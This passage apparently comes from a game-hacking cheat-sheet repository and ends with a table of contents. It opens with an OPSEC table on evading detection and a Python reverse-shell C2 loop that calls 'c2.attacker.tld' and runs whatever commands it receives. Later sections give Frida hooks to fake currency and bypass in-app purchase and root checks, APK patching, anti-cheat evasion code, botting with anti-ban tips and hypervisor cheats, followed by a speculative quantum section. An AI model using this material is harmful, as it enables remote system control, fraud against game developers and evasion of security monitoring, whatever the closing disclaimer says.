Study network forensics of C2 systems
Test SIEM and EDR detection
Train defenders with bot orchestration demos
Deploy honeypot bots to observe anti-cheat behavior

OPSEC + Detection Risk

Risk	Mitigation
Payload host flagged	Rotate GitHub repos / use custom domain
Static URL/IP flagged	Cloudflare or dynamic DNS
exec() payload analysis	PyInstaller or logic obfuscation
Webhook fingerprinting	Burner Discord/TG bots

Bonus: Socket-Based C2 Bot Skeleton

import socket
import subprocess

HOST = 'c2.attacker.tld'
PORT = 8080

while True:
    try:
        with socket.socket() as s:
            s.connect((HOST, PORT))
            while True:
                cmd = s.recv(1024).decode()
                if cmd.lower() == "exit": break
                out = subprocess.getoutput(cmd)
                s.send(out.encode())
    except Exception as e:
        time.sleep(60)

Persistent Pathfinding and Resource Bots

Enable repeatable, map-accurate automation for farming, mining, and patrols.

Capabilities

Memory-mapped or screen-based path recording & replay
Navigation scripting (waypoints, turning angles, XYZ control)
Collision & stuck detection logic
Persistence across sessions (auto relog/reconnect)
OCR- or memory-based inventory/tool status
Timer syncing with in-game events or zones

Example Path Record Script (pymem + hotkeys)

import keyboard
coords = []

while True:
    if keyboard.is_pressed('F9'):
        x, y, z = read_coords_from_memory()
        coords.append((x, y, z))
        print("Waypoint:", x, y, z)
    if keyboard.is_pressed('F10'):
        replay_path(coords)

Action Triggers (Mining / Loot)

Screen pixel check: glowing resource nodes
Hook TryUseSkill() or Interact() calls in Unity/Lua/MMOs
Use OCR for cooldown or durability checks

void TryUseSkill(SkillSlot slot) {
  if (slot.ready && target.distance < range)
    slot.Activate();
}

Event-Aware Bots

Time-based patrols or event triggers (Dolmens, invasions)
Detect zone transitions, NPC dialogue, or time-of-day
Hook ScheduleNextEvent() or use time.sleep() delay logic

Visual Detection (OpenCV / YOLO)

Template Matching Example:

matches = cv2.matchTemplate(screen, template, cv2.TM_CCOEFF_NORMED)

YOLOv7 Real-Time Inference:

results = model(screen)
if results.pandas().xyxy[0]:
    act()

Anti-Ban Stealth

Slight delay randomization
Offset each run’s path slightly
Pause loops randomly
Rotate server/logins

Mobile Game Hacking (Android and iOS)

Explore the offensive security techniques and reverse engineering approaches used to dissect, modify, and automate mobile games. This section covers app decompilation, runtime instrumentation, anti-cheat bypassing, and automation using modern tools like Frida, Magisk, APKTool, and more.

Primary focus: Android (APK) and iOS (IPA) game hacking for educational, red teaming, and CTF purposes only.

Overview

Platform	Technique	Tools
Android	APK reverse engineering	APKTool, jadx, Ghidra
Android	Runtime hooking	Frida, Magisk, ptrace
iOS	Jailbreak + class dumping	Frida, Hopper, LLDB
All	Input automation & bots	AutoTouch, ADB, Appium
All	Anti-cheat bypassing	Root/Jailbreak detection evasion

APK Reverse Engineering (Android)

APK Decompilation (Beginner)

Tools Required

apktool
jadx
Java Decompiler
dex2jar

Workflow

apktool d mygame.apk -o mygame_dec/
jadx mygame.apk  # GUI decompiler

Explore smali/ files or Java classes:

Look for onPurchase(), checkGold(), inventoryManager, etc.

Patch logic like:

invoke-static {v0}, Lcom/game/store/CheckPurchase;->isAllowed()Z
move-result v1
if-eqz v1, :original_code

const/4 v1, 0x1   # Always allow

Smali Modification (Intermediate)

Patch APK logic via smali edits:

.method public isRooted()Z
    .registers 2
    const/4 v0, 0x0  # Force "not rooted"
    return v0
.end method

Rebuild & resign:

apktool b mygame_dec/ -o modded.apk
jarsigner -keystore my-release-key.keystore modded.apk alias_name
adb install -r modded.apk

Frida for Android and iOS (Dynamic Instrumentation)

Setup (Android)

Rooted or Magisk-enabled phone
Install frida-server matching phone architecture

Push and run:

adb push frida-server /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/frida-server && ./data/local/tmp/frida-server &"

On host:

frida -U -n com.example.game

Example: Hooking Currency Function

Java.perform(function() {
    var GameUtils = Java.use("com.example.game.CurrencyManager");
    GameUtils.getCoins.implementation = function() {
        console.log("[+] Hooked getCoins!");
        return 999999;
    };
});

Hot reloadable without repackaging the APK.

Frida on iOS (Advanced)

Jailbreak device with Checkra1n or TrollStore-compatible firmware
Install frida via Cydia or Sileo

Attach to process:

frida -U -n MyGame

Hook Objective-C methods:

ObjC.schedule(ObjC.mainQueue, function() {
    var cls = ObjC.classes.InAppPurchaseManager;
    var sel = 'checkTransaction:';
    Interceptor.attach(cls[sel].implementation, {
        onEnter: function(args) {
            console.log("[*] Intercepted in-app purchase:", ObjC.Object(args[2]));
        }
    });
});

Android Root Detection Bypass

Common detection flags:

Build.TAGS contains test-keys
su binary in /system/bin/
Magisk modules
Access to frida-server

Frida Hook Example: Disable Root Checks

Java.perform(function () {
    var RootCheck = Java.use("com.example.anticheat.Checks");
    RootCheck.isDeviceRooted.implementation = function () {
        return false;
    };
});

Magisk Hide + Zygisk Modules

Use MagiskHidePropsConf to spoof build fingerprint
Use Zygisk + Shamiko to hide root from Zygote-initialized apps

iOS Jailbreak Detection Bypass

Typical Checks:

fileExistsAtPath("/Applications/Cydia.app")
canOpenURL("cydia://")
fork(), getppid(), sysctl

Frida Hook (iOS)

Interceptor.attach(Module.findExportByName(null, "stat"), {
  onEnter(args) {
    var path = Memory.readUtf8String(args[0]);
    if (path.indexOf("Cydia") !== -1) {
      Memory.writeUtf8String(args[0], "/fakepath");
    }
  }
});

Mobile Input Automation and Bots

Android Automation

Tools:

ADB + scrcpy + Python
AutoInput + Tasker
MonkeyRunner
uiautomator

Example: Tap Resource Nodes with Python + ADB

import os, time
while True:
    os.system("adb shell input tap 540 1200")
    time.sleep(1.5)

iOS Automation (Jailbreak Required)

Tools:

AutoTouch / TouchRecorder
XCUITest (requires dev access)
lldb input spoofing

Advanced Tactics

Technique	Description	Platform
Inline Native Hooking	Hook `libil2cpp.so`, `libunity.so`	Android
Class Dumping	Dump all classes from ObjC runtime	iOS
Patch In-Memory Data	Use `Frida.Memory.write*()` for RAM edits	All
Runtime Memory Scanning	Use Frida to find health/coin vars	Android
Emulator Bypass	Patch `ro.hardware` and sensors	Android

Anti-AntiCheat and Evasion

Detection Type	Evasion Technique
Magisk detection	Use Zygisk + Shamiko
Root binaries	Rename `su`, hide mounts
Debugger attach	Patch `ptrace()` via Frida
Frida detection	Rename `frida-server`, patch symbol calls
Jailbreak (iOS)	Use libhooker, patch `fileExistsAtPath()`

VM-Level Cheats using EPT, NPT, and Bluepill

By using hardware-assisted virtualization, we can intercept and manipulate game memory without directly modifying it — enabling powerful cheat capabilities while evading detection by anti-cheat systems like BattleEye, Vanguard, or EAC.

This class of cheats resides below the kernel, using hypervisors and page table remapping (EPT/NPT) to view and/or manipulate memory from another ring (Ring -1) — below Ring 0.

Core Concepts

Term	Description
EPT (Intel)	Extended Page Tables — allows second-level address translation in VM
NPT (AMD)	Nested Page Tables — same purpose as EPT but for AMD-V
Bluepill	A rootkit or hypervisor that silently loads under the host OS
Ring -1	Privilege level used by hypervisors (below kernel Ring 0)
VMX / SVM	Intel and AMD virtualization instructions (vmxon, vmexit, etc.)
VMM	Virtual Machine Monitor (a.k.a. hypervisor, either custom or KVM/Hyper-V)

Use Cases in Game Hacking

External ESP Overlays
Read-Protected Pages
Undetectable Memory View
Runtime Memory Redirection
Full Memory Timeline

How It Works: EPT Memory View (Intel)

+---------------------+       +-----------------------------+
| Guest Virtual Addr  | --->  | Guest Physical Addr (GPA)   |
+---------------------+       +-----------------------------+
                                   ↓
                           +---------------------+
                           | Host Physical Addr   |
                           +---------------------+

Techniques

1. Custom Hypervisor (KVM, Bare-metal, SimpleVisor)

Sets EPT/NPT permissions
Logs reads/writes
Triggers VMExit

Projects: SimpleVisor, Hvpp, LibVMI

2. Hyper-V Based External ESP

Run game in Hyper-V
Read memory from host using LibVMI

3. Memory Redirection via EPT Hooks

// EPT hook concept
setup_ept_hook(target_gpa, callback_on_readwrite);

4. Bluepill Hypervisor Injection

vmxon to activate VMX root mode
Live patching without drivers

Anti-Detection Advantages

Feature	Traditional Cheat	VM-Level Cheat
Requires driver	✅	❌
Visible to AV	✅	❌
Touches game RAM	✅	❌
Bypasses PatchGuard	❌	✅
Hooks detected	✅	❌

Advanced Applications

Shadow Memory
Page Fault ESP
Instruction Hooks
DMA Isolation

Tooling Ecosystem

Tool	Purpose
SimpleVisor	EPT hypervisor
hvpp	VT-x engine
LibVMI	VM memory introspection
DRAKVUF	Xen-based tracer
HyperDbg	VM debugger
Bareflank	C++ hypervisor framework

Real-World Exploit Flow: Silent ESP via LibVMI

# Setup VM
virsh start game-vm

# Attach to memory
vmi = Libvmi("game-vm")
addr = vmi.translate_ksym("PlayerStruct")

# Read loop
while True:
    coords = vmi.read(addr, 12)
    draw_esp(coords)

Research Tips

Use VT-d to bypass DMA protection
Trace VMEXITs to understand timing
EPTP list: swap memory views
EPT dirty bits: side-channel memory usage

Anti-AntiCheat Signatures and Patches

This section provides a detailed framework for countering detection mechanisms employed by anti-cheat systems like Battleye, EasyAntiCheat (EAC), Vanguard, and others.

Why This Matters

Anti-cheat systems don’t just detect cheat software; they identify cheating behavior and cheat footprints.

Type	Detection Method	Examples
Signature	Static strings/hashes	`cheat.dll`, function stubs
Behavioral	Timing, input	Perfect recoil, pixel aim
Memory	Page access, patching	NOP’d cooldowns, IAT hooks
Syscall	API call graphs	`NtReadVirtualMemory`
Kernel	SSDT, IRP, callbacks	Driver list, PsSet callbacks

File Signature Detection (Static)

Anti-cheat scans memory for static patterns or hashes.

Common Flagged Strings

Pattern	Anti-Cheat	Notes
"LoadLibraryA"	All	Classic DLL injection
"GetAsyncKeyState"	EAC, Vanguard	Keylogger, ESP detection
"SetWindowsHookEx"	Battleye, EAC	Global input hook
"CheatEngine"	All	Memory/window title scan
"NtOpenProcess"	Vanguard	Syscall flagging
"CreateToolhelp32Snapshot"	Battleye	Process/thread enum

Mitigation Techniques

String Obfuscation:

const char* LLA = "\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41";

Dynamic API Resolution:

FARPROC GetAPIByHash(DWORD hash) { /* Export table walker */ }

Polymorphic Code: Self-modifying shellcode.

IAT and EAT Hook Detection

Anti-cheat systems inspect import/export tables.

Detection Example

FARPROC* pIAT = (FARPROC*)(base + offset);
if ((uintptr_t)(*pIAT) != GetProcAddress(GetModuleHandle("user32.dll"), "MessageBoxA"))
    // Hooked!

Mitigation

Rebuild IAT after injection.
Inline hooks instead of IAT.

Stealth trampolines:

original_code:
    mov r10, rcx
    mov eax, [syscall_id]
stealth_gate:
    jmp qword [rel hidden_handler]
hidden_handler:
    dq 0xDEADBEEFCAFEBABE

Memory Signature Detection

Anti-cheat systems use AOB scanning for known patterns.

Example: ESP Hook

// Original
call dword ptr [eax+0x70]
// Hooked
jmp myESPOverlay

Mitigation

Trampoline hooks
Encoded shellcode

Cloaking memory:

void cloak_memory_region(void* addr, size_t size) {
    // Use shadow memory and hide with PTE changes
}

Process-Level Detection (PEB/Handles)

Anti-cheat may inspect:

PEB module list
NtQuerySystemInformation
NtQueryObject
EnumWindows for cheat UIs

Evasion Examples

Unlink from PEB:

PLIST_ENTRY InMemoryOrder = &peb->Ldr->InMemoryOrderModuleList;
InMemoryOrder->Flink->Blink = InMemoryOrder->Blink;
InMemoryOrder->Blink->Flink = InMemoryOrder->Flink;

Hide Window:

HWND hWnd = FindWindow(NULL, L"Cheat Engine 7.5");
if (hWnd) ShowWindow(hWnd, SW_HIDE);

Block Handle Inspection:

if (ObjectType == ObjectTypeInformation && IsOurHandle(handle)) {
    return STATUS_INVALID_HANDLE;
}

Kernel-Mode Detection (SSDT, IRP, Callbacks)

Detection points:

IRP callbacks on \Device\KeyboardClass0
SSDT hooks (e.g., NtReadVirtualMemory)
Kernel object notify routines

Mitigation

Direct Syscalls:

void* ZwReadVirtualMemory = get_syscall_address(0x3F);

Unregister Callbacks:
```
ObUnRegisterCallbacks(MyHandle);
```

Hypervisor Execution:

void execute_protected(void* code, size_t size) {
    enter_vmx_operation();
    load_encrypted_payload(code, size);
    set_vmcs_field(VMCS_GUEST_RIP, encrypted_entry);
    resume_guest();
}

Behavioral Detection Bypass

Flagged patterns:

Behavior	Reason
No recoil	Inhuman precision
1ms reaction	Scripted macros
Perfect aim	Triggerbots
Static movement	Bot detection

Mitigation Techniques

Add jitter and randomized delay

GAN-generated Inputs:

from gan_input import BehavioralGAN
bot = BehavioralGAN(model="cs2_pro_player.gan")
while gaming:
    real_input = capture_mouse_movement()
    stealth_input = bot.generate(real_input, variance=0.3)
    send_input(stealth_input)

Anti-Screenshot and Video Detection

Anti-cheats may call BitBlt, GetRenderTargetData, or kernel video functions.

Bypass Examples

BitBlt Hook:

BOOL BitBltHook(...) {
    if (IsBeingCaptured()) return FALSE;
    return OriginalBitBlt(...);
}

Context-Aware Rendering:

HRESULT __stdcall hkPresent(...) {
    if (is_capture_active()) {
        clean_render_target();
        auto hr = oPresent(...);
        restore_render_target();
        return hr;
    }
    render_esp();
    return oPresent(...);
}

Anti-AntiCheat Summary Table

Layer	Defense Mechanism	Bypass Technique
Usermode	API hooks, title scans	API hashing, string obfuscation
Memory	AOB, signature scans	Encoded shellcode, trampolines
Kernelmode	SSDT, IRP, callbacks	Direct syscalls, VM hiding
Behavioral	Input timing, aim paths	Jitter, GAN emulation
Forensics	Screenshots, video frames	Frame guards, present hooks

Quantum Computing Assisted Game Hacking

Harness the power of quantum mechanics to revolutionize game hacking techniques. While practical quantum computers are not yet widely available, understanding these concepts prepares you for the potential future of cybersecurity.

Quantum Algorithms for Game Hacking

Grover's Algorithm: Accelerate brute-force searches quadratically. Ideal for cracking passwords, encryption keys, or finding hidden memory addresses.

Example: Searching a key space of N elements takes O(√N) time instead of O(N).
Shor's Algorithm: Factor large integers exponentially faster than classical computers, breaking RSA encryption used in DRM and network protocols.
Quantum Annealing: Solve optimization problems (e.g., pathfinding for bots, resource allocation) more efficiently.

Quantum-Enhanced Analysis

Quantum Simulation: Simulate game physics engines (e.g., Havok, PhysX) at unprecedented speeds.
Quantum Machine Learning (QML): Train neural networks for aimbots or decision-making bots exponentially faster.
QML for Aimbots: Use quantum convolutional neural networks (QCNNs) for near-instant target acquisition.
Quantum Fuzzing: Use quantum algorithms to generate more effective test cases.

Quantum-Resistant Hacking

Post-Quantum Cryptography (PQC): Study lattice-based, hash-based, and multivariate cryptographic schemes as games adopt PQC.
Quantum Key Distribution (QKD): Understand how games might implement QKD and explore theoretical bypass strategies.

Experimental Toolchain

Tool/Framework	Purpose
Qiskit (IBM)	Quantum circuit simulation and algorithm development
Cirq (Google)	Framework for NISQ quantum computing
PennyLane	Quantum machine learning, hybrid models
Microsoft Quantum Dev Kit	Q# programming for quantum applications

Example: Grover's Algorithm for Key Search

from qiskit import QuantumCircuit, Aer, execute
from qiskit.visualization import plot_histogram
import numpy as np

# Define the oracle for the secret key (e.g., 110)
def oracle(circuit, secret_key):
    for i, bit in enumerate(secret_key):
        if bit == '1':
            circuit.x(i)
    circuit.cz(0, 2)
    for i, bit in enumerate(secret_key):
        if bit == '1':
            circuit.x(i)

# Grover's algorithm setup
n = 3  # Number of qubits (for 3-bit key)
grover_circuit = QuantumCircuit(n, n)

# Initialize superposition
grover_circuit.h(range(n))

# Apply oracle and diffusion operator
iterations = int(np.ceil(np.sqrt(2**n)))
for _ in range(iterations):
    oracle(grover_circuit, '110')
    grover_circuit.h(range(n))
    grover_circuit.x(range(n))
    grover_circuit.h(n-1)
    grover_circuit.mct(list(range(n-1)), n-1)  # Multi-controlled Toffoli
    grover_circuit.h(n-1)
    grover_circuit.x(range(n))
    grover_circuit.h(range(n))

### Measure
grover_circuit.measure(range(n), range(n))

# Simulate
simulator = Aer.get_backend('qasm_simulator')
result = execute(grover_circuit, simulator, shots=1024).result()
counts = result.get_counts()
print(counts)  # Should show '110' with high probability

Challenges and Limitations

NISQ Limitations: Current quantum computers are noisy and have limited qubits.
Algorithm Maturity: Many quantum algorithms are still in the theoretical stage.
Access: Hardware is expensive and primarily cloud-based (IBM, AWS, Azure Quantum).

Future Outlook

Hybrid Approaches: Combine classical + quantum computing for optimization and ML.
Quantum Cloud Services: Use cloud-based quantum hardware for cryptanalysis.
Game Security Evolution: Expect PQC in games and research preemptive bypasses.

Tool Pairings

Task	Toolchain
Static Analysis	Ghidra, IDA, Binary Ninja, Radare2
Memory Analysis	Cheat Engine, Frida, x64dbg, ReClass.NET
Network Hacking	Wireshark, mitmproxy, Scapy, Burp Suite
Fuzzing	AFL++, Honggfuzz, Boofuzz, KernelFuzzer
AI Integration	YOLOv7, OpenCV, TensorFlow, TensorRT
Kernel Exploits	WinDbg, Ghidra, UEFITool
Automation	Python, pymem, Selenium

Disclaimer

This repository is strictly for authorized penetration testing, academic research, and CTF competitions. Unauthorized use for cheating in live games is illegal, violates terms of service, and risks permanent bans.

These techniques are documented for defensive purposes—to help developers secure games. Always obtain explicit permission before testing any system.

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Game Hacking Cheat Sheet

Table of Contents

Recon and Static Analysis

Core Techniques

Deep Dive and Expansion

Binary Forensics

Cross-Platform Analysis

Obfuscation Breakers

Real-World Metadata Recon

Ghidra Headless Automation

Obfuscation and Packing Detection Matrix

Game-Specific Recon Signatures

Asset Recon (Deep Reverse)

Advanced Techniques

Engine Recon Automation (Unity, Unreal, etc.)

Goals of Engine Recon

Unity Engine (Mono / IL2CPP)

Identifying Unity Games

Mono Runtime Recon

IL2CPP Automation

Unreal Engine Recon (UE3/UE4/UE5)

Identifying Unreal Games

Auto SDK Generation

Auto Object Dumper (Python + pymem)

GNames and GObjects Pattern Script in IDA or Ghidra

UE4 .ini Logging Hack (Optional)

WebAssembly and Browser Recon via WebGL

Static and Runtime Tools

Instrumentation Example (DevTools Console)

.wasm Mapping

Lua Engine Recon

What to Hook

Dynamic Lua Hijacking (Frida)

Tools to Include

Engine-Specific Signatures

Obfuscated Binary Detection and Unpacking

C and C++ RTTI and Symbol Salvage

Dynamic Memory Analysis

Core Techniques

Deep Dive

Next-Level Techniques

Advanced Live Tactics

Advanced Techniques

Heap Spraying

Frida: Hooking malloc and free

Live Allocation Tracker

Memory Map Diffing

Dynamic Function Discovery via Frida

Recommended Tools

Advanced Cheat Engine Usage

Tools Needed

1. Pointer Path Tracing (Multilevel Pointer Maps)

2. Code Injection w/ Auto Assembler

AOBScan for ASLR-Busting

CE Mono Framework (Unity Games)

Lua Scripting for Runtime Cheats

Anti-AntiCheat Stealth Tactics

Signature Evasion:

PEB Unlinking:

Use Stealth Edit Plugin:

Driver Tricks:

Code Cave Injection

CE and Frida Hybrid Debugging

Injection and Cheat Code

Core Techniques

Stealth Injection

Advanced Injection Strategies

Exploitation Techniques

Local Memory Exploits

Stack Buffer Overflow in C and C++

Heap Overflow in Item Parser

Savegame Exploits

Save Exploit Example:

Remote and Server-Side Exploits